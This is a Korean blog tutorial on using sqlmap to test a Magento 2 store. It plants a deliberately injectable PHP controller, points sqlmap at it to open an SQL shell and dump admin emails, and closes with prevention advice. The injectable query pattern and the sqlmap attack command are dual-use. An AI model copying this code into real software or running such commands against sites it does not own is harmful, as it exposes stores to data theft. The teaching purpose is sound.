Magento 팁 - sqlmap을 사용한 침투 테스트

2912 단어

침투 테스트 Magento2



Magento 2는 대중적이고 업그레이드하기 어렵습니다. 이것은 해커들이 악용하기를 좋아하는 안전하지 않은 전자 상거래 상점을 위한 완벽한 온상을 만듭니다.

보안되지 않은 사이트를 탐지하기 위해 침투 테스터가 사용하는 일반적인 도구는 sqlmap입니다.

간단히 말해서 sqlmap은 SQL 인젝션 결함을 감지하고 악용하는 프로세스를 자동화하는 오픈 소스 도구입니다.

sqlmap 설치



먼저 로컬에 sqlmap을 설치해야 합니다. 여기서는 Python이 이미 설치되어 있다고 가정합니다.

git clone --depth 1 https://github.com/sqlmapproject/sqlmap.git sqlmap-dev
cd sqlmap-dev

자신의 웹 사이트에 대해서만 sqlmap을 사용해야 한다는 것은 말할 필요도 없습니다.



테스트할 샘플 SQL 인젝션 결함 생성



테스트 목적으로 로컬 사이트에서 이를 테스트할 SQL 인젝션 결함을 생성할 수 있습니다. 명백한 이유로 이 코드를 실시간으로 배포하지 않는 것이 중요합니다.

제 경우에는 테스트 컨트롤러에 다음을 추가했습니다.

$connection = $this->_resourceConnection->getConnection();
$year = $_GET["year"] ?? 2021;
$rows = $connection->fetchAll("SELECT count(*) as total FROM sales_order WHERE created_at = $year");
$total = $rows[0]['total'] ?? 0;
echo "Hello World. There are $total orders on this site.";
exit;

보시다시피 우리는 ORM을 우회하고 있으며 $year 입력 변수를 이스케이프하고 검증하는 데 실패했습니다. 이것은 절대 해서는 안 되는 일이지만 타사 확장 프로그램에서 이를 보는 것은 드문 일이 아닙니다.

취약한 확장 기능은 다음과 같습니다.



취약한 매개변수 찾기



우리의 마젠토 스토어 URL을 찾으세요. https://magento.rhuaridh.co.uk/을 사용하겠습니다.

따라서 로컬 시스템에서 이제 sqlmap을 실행할 수 있습니다.

python3 sqlmap.py -u https://magento.rhuaridh.co.uk/helloworld/index/helloworld?year=2021 \
--dbms=mysql \
--sql-shell

이 명령은 취약한 연도를 신속하게 식별합니다. 그러면 --sql-shell이 ​​쿼리를 실행할 수 있는 셸을 엽니다.



데이터 검색



예를 들어 관리자 이메일 주소 목록을 가져오려면 다음을 실행할 수 있습니다.

SELECT email FROM admin_user;

그리고 그게 다야! 그것이 얼마나 쉬운 일입니다. 이제 magento 2 스토어에 모든 관리자 이메일 주소 목록이 있습니다.



SQL 삽입을 중지하려면 어떻게 해야 합니까?



항상 ORM을 사용하는지 확인하고 쿼리 문자열에 변수를 전달하지 말고 항상 사용자 제공 입력의 유효성을 검사하십시오. 그것은 그렇게 간단합니다!

모범 사례에는 이유가 있습니다.

좋은 웹페이지 즐겨찾기